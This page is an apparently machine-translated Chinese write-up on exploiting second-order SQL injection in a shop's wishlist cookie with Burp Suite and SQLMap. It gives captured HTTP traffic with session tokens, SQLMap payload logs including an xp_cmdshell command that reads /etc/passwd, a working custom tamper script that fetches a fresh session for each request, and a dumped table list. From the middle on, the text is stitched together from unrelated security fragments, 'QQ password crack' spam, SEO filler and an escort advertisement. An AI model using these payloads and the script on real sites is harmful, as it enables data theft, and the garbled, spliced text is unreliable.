Web运用现已从简略的脚本逐步开展成完好的页面运用程序,可是越杂乱的Web运用就越简单呈现不同类型的安全缝隙,其间的一种就是二次注入缝隙。侵犯payload首要被Web服务器上的运用存储,随后又在要害操作中被运用,这便被称为二次注入缝隙。
我们知道,在任何当地都或许会呈现二次注入缝隙。不仅仅是在同一运用中,运用了相同数据源的不同Web运用也或许会呈现这一缝隙。因此,我们简直没办法通过主动扫描来检测到它们。
本文将以某商城网站为例,检验凭借Burp Suite和SQLMap Tamper运用二次注入。
手艺渗透办法
渗透能否成功,往往取决于我们对方针的了解程度。因此,我一般会像普通用户相同花一两天的时间在我的方针上,以了解其整个作业流程。在做每件作业和提交表单时,我会检验遵从表单域的命名约好。
为主模块(例如发票、新闻、费用信息等,一般是在导航栏看到的内容)设置一个要害字。
假如说我们正在阅读“门票”模块,而且表单需求供给一个称号和电子邮件地址。
用户名:johnticket1
邮件:johnticket1@yopmail.com
这样有助于盯梢数据的来历,假如我们在渗透过程中(一个APP的渗透一般需求5-6天时间),看到johnticket1在其他当地呈现,那么我们就知道了侵犯的方针是哪个向量。
榜首阶段:检测
在阅读方针时,我在Burp Suite的日志中看到了这样的恳求和呼应:
GET /wishlist/add/9 HTTP/1.1
Host: targetwebapp
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Acc@misc{hal,ept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://targetwebapp/
Cookie: XSRF-TOKEN=eyJpdiI6ImVmODhzTFRXV0wrdkRVV05MVTdyQ3c9PSIsInZhbHVlIjoiYWN1ZkkwRk1WMjZycTdDRjdSZFVuN3VKR3ZGQUpTWWZyYWNURmcyMzZtY1Zlc25vUDhvdk5xaFhHbXZidEUyalA2eUl4aDQzakhBQmNpWGtsN1lNXC9nPT0iLCJtYWMiOiIxZTAxOGU5YTVjZTY1NDdmNTFlNmMzZWRjNTM5M2Y3YTJiNTIyZjk0NThlZDgwYWExYjc1YjJmOWRiYWQyM2MxIn0%3D; session=eyJpdiI6ImdudzFVTGlNem1CYzlGUlY1aG1Xbnc9PSIsInZhbHVlIjoiMFZcL2ZHZTRDejlyUGlwbG5zNW5mNHpvYUZMdVFHUjVQVkpOZkI5M1UrazArMThDSzRiSURac0FmdTBpd0hXaFN5OVAxdytvMFhVNzhadzN1dU5NM01 *** T0iLCJtYWMiOiIyYWEzOWI5NWM4ZDBhNmQ1NzQ1NzA3ZjkwY2Q5NzI5NTc2MWU4NDk4YWY3OTkzMGM5ZmQ2YjBlYjFkMmNlZjIxIn0%3D
X-Forwarded-For: 127.0.0.1
True-Client-Ip: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
----
HTTP/1.1 302 Found
Date: Tue, 01 Aug 2017 07:31:12 GMT
Server: Apache/2.4.18 (Ubuntu)
Cache-Control: no-cache, private
Location: http://targetwebapp/
Set-Cookie: XSRF-TOKEN=eyJpdiI6IjlVXC9XSWtobkdHT0tlZDNhKzZtUW5nPT0iLCJ2YWx1ZSI6Ijg3enBCSHorT1pcLzBKVVVsWDJ4akdEV1lwT2N0bUpzdDNwbmphM3VmQndheDRJZDQ3SWJ *** zJ6blFQNHppYytPQzVZNGcxWVdQVlVpWm1MVDFNRklXQT09IiwibWFjIjoiZWRmYjAwYjgzYWQ1NWQyMWM1ZWQ2NjRjMThlZmI3NjQ4ODVkNWE0YWEyZTBhYzRkMjRkOWQ2MmQ4OTA0NDg3YyJ9; expires=Tue, 01-Aug-2017 09:31:12 GMT; Max-Age=7200; path=/
Set-Cookie: session=eyJpdiI6IkpMdzd *** EE3NndnUXI2NXh0enJYNXc9PSIsInZhbHVlIjoiMkNhek8wXC9FUHQ1bzhjbnMrbHpJWXBjTGhhQTFCM3kyQjI4bTFHRHZkKzZNK2NvSGtwQUZJcWxTeEFHREdEOFBiWVwvVFNyZTNEVlNyRTFlRGMrRlZKZz09IiwibWFjIjoiYTA2ZjlmZTVkYWM3MTc4ODE5Y2VmNmFkNTMzYjYyOTNmZjUxOGRkYjhkYzJmYThhYWM4OTNkNzg4MTliZjVkMSJ9; expires=Tue, 01-Aug-2017 09:31:12 GMT; Max-Age=7200; path=/; HttpOnly
Content-Length: 324
Connection: close
Content-Type: text/html; charset=UTF-8
Redirecting to http://targetwebapp/
Redirecting to http://targetwebapp/.
我正在向wishlist中添加一个产品。这一操作完结后,运用程序会重定向回主页。假如阅读另一个模块(/wishlist/),就可以看到这个产品的详细信息。
值得注意的是,我们在HTTP呼应中看到了一个新的Set-Cookie参数。为了验证,我又检验在wishlist中添加了几个不同的产品,成果每个恳求都得到了新的Set-Cookie。
由此可知:在没有登录的前提下,运用程序可以盯梢我添加的产品;当我用不同的ID重复上述恳求,我都会得到Set-Cookie。
现在,现已可以分分出,运用程序在我的cookie中存储了产品的ID值,并在将其发回我之前进行了加密。至此,我以为我的方针是一个Laravel的运用程序,原因在于其XSRF-TOKEN cookie称号和cookie加密都是Laravel结构默许的设定。
在这里,最重要的是要知道:我通过/wishlist/add/提交的任何内容,都会存储在我加密后的cookie里。假如我阅读/wishlist/途径,运用程序接下来的过程是:
获取cookie;
解密cookie;
获取来自cookie数据的wishlist数组;
在查询中运用此数组;
显现所需产品的详细信息。
第二阶段:主动化东西问题
事实上,无论是Burp仍是Netsparker都无法检测到这一SQL注入
。为了让我们更明晰地了解这一点,下面是主动化东西的通用作业流程:
登录运用,或许运用供给的cookie;
发送/wishlist/add/9" and 1=1 -- 或 /wishlist/add/9'or 1=1-- 或 /wishlist/add/9' OR SLEEP(25)=0 LIMIT 1--等有效载荷;
核算恳求与呼应之间的时间距离;
对HTTP呼应的body进行剖析;
等候外部恳求。
从上述流程可以看到,扫描器不会看到HTTP呼应正文的任何不同。一起,呼应和恳求之间并不会有太大的时间距离。运用程序只需将输入内容储存到其他当地(在这里是将cookie加密)。
当扫描器扫描过每一个独自的URL后,会初步拜访SQL查询实行的方位,即/wishlist/。可是,因为其具有多个SQL payload,东西现已打乱了SQL结构,因此将只能看到HTTP 500差错。
第三阶段:让SQLMAP再显威风
下面是SQLMap生成的前五个HTTP恳求,特别是前两个一向坚持不变。
~ python
sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
[11:48:57] [PAYLOAD] KeJH=9030 AND 1=1 UNION ALL SELECT 1,NULL,'("XSS")',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#
[11:48:57] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:48:57] [INFO] testing if the target URL is stable
[11:48:58] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:48:58] [WARNING] URI parameter '#1*' does not appear to be dynamic
[11:48:58] [PAYLOAD] 9(..,)),('"
[11:48:58] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:48:58] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[11:48:58] [PAYLOAD] 9'AGZHkYBubyju
[11:48:59] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:48:59] [INFO] testing for SQL injection on URI parameter '#1*'
[11:48:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:48:59] [PAYLOAD] 9) AND 3632=7420 AND (3305=3305
[11:48:59] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:48:59] [PAYLOAD] 9) AND 3274=3274 AND (6355=6355
[11:49:00] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:49:00] [PAYLOAD] 9 AND 5896=8011
[11:49:00] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:49:00] [PAYLOAD] 9 AND 3274=3274
[11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:49:01] [PAYLOAD] 9') AND 9747=4557 AND ('xqFU'='xqFU
[11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:49:01] [PAYLOAD] 9') AND 3274=3274 AND ('JoAB'='JoAB
[11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:49:01] [PAYLOAD] 9' AND 6443=5019 AND 'zuGP'='zuGP
[11:49:02] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:49:02] [PAYLOAD] 9' AND 3274=3274 AND 'iWaC'='iWaC
我们细心研讨前两个payload,会发现SQLMap在检验检测WAF,然后被运用程序强制进行编码。随后,通过不断发送payload,企图找出SQL查询的语法方式。但问题在于,所有这些payload将被存储在cookie上,这就意味着每逢SQLMap进行二次注入,都会呈现HTTP 500差错。还有,榜首个恳求现已弄乱了SQL语法,这导致SQLMap的其他侵犯将会呈现问题。
因此,我们需求为SQLMap生成的每一个HTTP恳求供给一个新的会话。我通过自定义的tamper脚本处理了这一问题。
下列HTTP恳求和呼应是我们强制运用程序发动新会话的办法:
GET / HTTP/1.1
Host: targetwebapp
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
X-Forwarded-For: 127.0.0.1
True-Client-Ip: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
---
HTTP/1.1 200 OK
Date: Tue, 01 Aug 2017 06:31:36 GMT
Server: Apache/2.4.18 (Ubuntu)
Cache-Control: no-cache, private
Set-Cookie: XSRF-TOKEN=eyJpdiI6IkIyb0o5TjJ1TTMzcVBseE9mOGFYK1E9PSIsInZhbHVlIjoiemR2V2d1b2xvZ1JcL3I5M0VsV2sxUGR0N2tRYkFPK2FwQ2lZc0xFV25iUkhrWVFjK3VscU *** RFNiekdnQ3VJZVVCa0RJQ0czbVNxMVdSSyt4cXkxbWtnPT0iLCJtYWMiOiIyYmE1YTQyZTAzMDYzNTQ3ZDk0OTkxN2FjMDg5YmMzNzVkOGUxODVmZTVhY2M0MGE4YzU1Yzk4MDE2ODlmMzUwIn0%3D; expires=Tue, 01-Aug-2017 08:31:36 GMT; Max-Age=7200; path=/
Set-Cookie: session=eyJpdiI6InZqcVk1UWtFOStOMXJ6MFJ4b2JRaFE9PSIsInZhbHVlIjoidGJ0VFJ2VXpqY1hnQ2xXYkxNb2k5QWltRDFTRlk2RmJkQ0RIcWdMYMDMP格式会生成一个信息量很大的文件,因此对文件的简略解析就足够了。运用radare2的pf指令很简略做到这一点,请参阅运用radare2解析文件格式的这篇文章:Vg2NDZlR0RnTXRSWXVWM3JTOWVxajl5R08wb0RydlhKWkZ *** GYrNnF3RjBrSEE9PSIsIm1hYyI6IjYwZWRmZGQ1ODEzODJkZDFmNDIzNmE3ZWYzMDc1MTU5MTI3ZWU4MzVhMjdjN2Q0YjE0YmVkZWYzZGJkMjViNDEifQ%3D%3D; expires=Tue, 01-Aug-2017 08:31:36 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
Connection: close
{C} Content-Type: text/html; charset=UTF-8
Content-Length: 22296
它可以实行如下过程:
将恳求发送到主页,而不供给任何cookie;
解析Set-Cookie并获取XSRF-TOKEN和SESSION;
更新由SQLMap生成的HTTP恳求;
关于每一次SQLMap的检测,都会有一个新的SESSION,当SQLMap在发送payload后检验/wishlist/时,从/wishlist/得到的呼应将只与前一个payload相对应。
在此,我建议你运用https://github.com/h3xstream/http-script-generator 的东西,作者是Philippe Arteau,这一扩展脚本可以从头生成指定的恳求。
下面是我的SQLMap tamper模块,它向主页发送HTTP恳求并检索新的cookie值,最后会更新SQLMap生成的HTTP恳求的cookWin32/SSHBearDoor.A木马SHA-1:ie值。
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import requests
from lib.core.enums import PRIORITY
from random import sample
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def new_cookie():
session = requests.Session()
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1"}
response = session.get("http://targetwebapp/", headers=headers)
XSRF_TOKEN = response.headers['Set-Cookie'].split(';')[0]
SESSION = response.headers['Set-Cookie'].split(';')[3].split(',')[1].replace(" ", "")
return "Cookie: {0}; {1}".format(XSRF_TOKEN, SESSION)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
headers["Cookie"] = new_cookie()
return payload
sqlmap git:(master) python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" --tamper /tmp/durian.py
...
Database: XXX
[12 tables]
+------------------------------------------------------+
| categories |
| comments |
| coupon_user |
| coupons |
| migrations |
| order_product |
| orders |
| password_resets |
| products |
| subscribers |
近期,奇安信挟制情报中心红雨滴团队在日常的APT样本寻找中,捕获一例运用心思查验为诱饵的Lazarus侵犯样本,该样本通过宏开释powershell脚本实行,然后控制受害者核算机。奇安信挟制情报中心通过溯源相关,捕获另一例针对Macos的侵犯样本,并在发现此次侵犯活动的榜首时间通过外交媒体进行预警。| user_addresses |
| users |
+------------------------------------------------------+
经历
可以运用主动扫描器,但不要容易信任它的成果。
假如或许,请让有才能的人对运用进行手动渗透。
假如你是渗透检验者,请紧记:是你进行了渗透检验,而不是东西,东西仅仅一个辅佐。
有一个好思路十分要害。
秒破qq暗码:怎么凭借Burp和SQLMap Tamper使用二次注入
"mov byte ptr [ebp+0x27],0x61;" Invoke-Expression $deleteShare | Out-Null//宏界说了一个远程进程核算https://github.com/jschicht/Ex
tractUsnJrnl如何借助Burp和SQLMap Tamper利用二次注入
秒破qq密码插件介绍而且有一半的ATM中运用的都是有缝隙的NCR保护系统。而且有19%的ATM一点点应对Black Box侵犯的保护办法也没有。将生成好的Client在Victim机器上面工作之后服务端可以收到一个联接的sessions,展示了关于Victim上面的一些核算机信息。
makecab.exe / F makecab.ddf# make install Open Source Free-Offensive SecurityVim ——以root权限读取文件秒破qq密码
示例:微软发布过一篇文章,文中介绍了凭证盗取侵犯的相关资料以及怎样防范这类侵犯。除了本文介绍的防护办法之外,我们激烈建议我们根据微软给出的建议对系统进行加固。需求留心的是,这类侵犯不仅仅针对Windows系统,其他的基础设施(如运用Kerberos的UNIX环境或单点登录环境)也会遭到类似侵犯的影响。虽然本文仅仅针对Windows系统提出了检测横向渗透侵犯的办法,我们可以举一反三,在保存恰当日志的其他环境中运用类似办法检测横向渗透侵犯。 # Jruby
/*for x86*/}我们可以看到,其间列出的哈希机制就包括SHA-1,所以,毫无疑问,SHA-1磕碰侵犯将会发作驱动签名乱用情况,为恶意内核代码程序的运用传达敞开大门。事实上,SHA-1签名校验的驱动程序并不稀有,以下就是一些我们发现的实例:5.确认文件:chattr ,lsattr如何借助Burp和SQLMap Tamper利用二次注入
秒破qq密码首要向控制面板的已设备程序列表中添加一个检验条目,要完结这儿一
点只需求在注册表键如下界面Use mysql数据库,然后实行如下指令
可以看到MyTalker方针在内存中的地址为0x17d6b150,然后MyTalker就被free掉了。随后,程序又创立了另一个方针myWorker。因为堆的特性,系统会把刚刚free掉的内存再分配给Worker。因此myWorker在内存中的地址也是0x17d6b150。所以当程序调用handleObject(myTalker)的时分,本应该等候调用Talker's getValue()函数却调用了Worker's getValue()函数,这就构成一个UAF差错。
前语注册表相关权限如下:秒破qq密码
Detail: Failed to connect to host for DVSNI challenge echo bin >> ftp.txt2、证书公布的安排是确实存在的,所以根据CA名,找到对应内置的CA根证书、CA的公钥。用CA的公钥,对编造的证书的摘要进行解密,发现解不了,以为是危险证书。如何借助Burp和SQLMap Tamper利用二次注入
本文我们首推的是 HashTab 第三方东西,HashTab 是一个超快速的文件哈希校验值核算东西,现在被超 200 个国家的用户所运用。HashTab 可供给多种哈希算法,如:MD5、SHA1、SHA2、RipeMD、HAVAL 和 Whirlpool 等。当我们设备好之后,HashTab 功用可以集成到 Windows Shell 傍边让用户以最简略的办法来验证文件的完好性和真实性。
实际上,该系统现已在本年1月份的时分就初步试工作。恶意远程控制软件(Remote Access Tool/Trojan – RAT)一般都会有一个函数用来实行从远程环境接收到的指令,在这个函数的帮忙下,侵犯者可以在远程环境下在被控端实行任意Windows指令。孩子的身体不好其实是从生活中就可以看出来的,比如脾虚。那么孩子脾虚是有哪些症状的呢,孩子的脾虚情况怎么从外表看出来呢,孩子脾虚怎么办好呢,友谊长存小编就来跟大家说说吧。 为什么呢? 脾脏五行属土,...
月是故乡明的前一句是(诗词|杜甫:露从今夜白,月是故乡明) 戍鼓断人行,边秋一雁声。露从今夜白,月是故乡明。有弟皆分散,无家问死生。寄书长不达,况乃未休兵。——《月夜忆舍弟》 这首诗写于百思特网安...
进教程: 1.创建一个只包含一个空格( 为了 减小文件体积)的文本文件 ,任意 取名。 2.打开{写字板文档},将此文件拖放入{写字板文档}。也可以点击记{写字板文档}单栏中的“插入\对象”,弹出...
超等标语是用最少文字通报最多讯息,让对方发生某些动作,从而树立企业品牌形象,辅佐企业打响名声。那么如何打造出一条品牌流传的超等标语?本文先容了六条焦点评判尺度和四类思维套路,与各人分享! 上周文章我...
迅速访问 “南京兼职商务接待模特经纪人微信号码”。有关大伙儿之前探讨的南京市高档商务企业信息,文中为大伙儿作出了小结,许多 小结全是网编从事十余年的制造行业工作经验,因此 大家一起来讨论一下有关南京市...
关于参加婚礼要不要报销路费这个问题,其实是因人而异,这个事情要处理得当,不然很容易会引起两个人的感情问题,那么,朋友参加婚礼要报销路费吗?下面友谊长存小编就来说说。 参加婚礼要不要报销路费 义乌有...